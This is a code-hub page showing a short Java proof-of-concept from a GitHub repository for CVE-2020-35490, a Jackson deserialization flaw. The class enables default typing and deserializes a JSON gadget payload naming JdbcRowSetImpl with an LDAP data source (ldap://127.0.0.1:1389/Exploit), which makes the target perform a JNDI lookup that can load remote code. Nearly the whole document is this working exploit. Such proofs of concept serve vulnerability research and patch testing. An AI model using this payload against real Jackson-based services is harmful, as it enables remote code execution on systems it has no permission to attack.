MCPcopy Create free account
hub / github.com/Firebasky/Java / CVE_2020_35490

Class CVE_2020_35490

jackson/src/main/java/com/firebasky/cve/CVE_2020_35490.java:7–16  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

5import java.io.IOException;
6
7public class CVE_2020_35490 {
8 public static void main(String[] args) throws IOException {
9 ObjectMapper mapper = new ObjectMapper();
10 mapper.enableDefaultTyping();
11 String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\"}]";
12
13 Object o = mapper.readValue(payload, Object.class);
14 mapper.writeValueAsString(o);
15 }
16}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected